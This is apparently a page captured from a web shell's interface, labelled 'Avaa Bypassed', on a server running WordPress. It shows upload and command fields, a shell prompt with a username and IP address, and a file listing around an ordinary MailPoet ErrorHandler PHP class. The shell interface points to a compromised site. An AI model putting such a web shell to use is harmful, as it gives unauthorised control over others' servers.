[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.137.198.37: ~ $
<?php declare(strict_types = 1);

namespace MailPoet\API\JSON;

if (!defined('ABSPATH')) exit;


use MailPoet\Exception;
use MailPoet\HttpAwareException;
use MailPoet\WP\Functions as WPFunctions;

class ErrorHandler {
  /** @var string[] */
  private $defaultErrors;

  public function __construct(
    WPFunctions $wp
  ) {
    $this->defaultErrors = [
      Error::UNKNOWN => $wp->__('An unknown error occurred.', 'mailpoet'),
    ];
  }

  public function convertToResponse(\Throwable $e): ErrorResponse {
    if ($e instanceof Exception) {
      $errors = $e->getErrors() ?: $this->defaultErrors;
      $statusCode = $e instanceof HttpAwareException ? $e->getHttpStatusCode() : Response::STATUS_UNKNOWN;
      return new ErrorResponse($errors, [], $statusCode);
    }
    return new ErrorResponse($this->defaultErrors, [], Response::STATUS_UNKNOWN);
  }
}

Filemanager

Name Type Size Permission Actions
ResponseBuilders Folder 0700
v1 Folder 0700
API.php File 8.66 KB 0644
Endpoint.php File 1.48 KB 0644
Error.php File 304 B 0644
ErrorHandler.php File 860 B 0644
ErrorResponse.php File 890 B 0644
Response.php File 1020 B 0644
SuccessResponse.php File 425 B 0644
index.php File 0 B 0644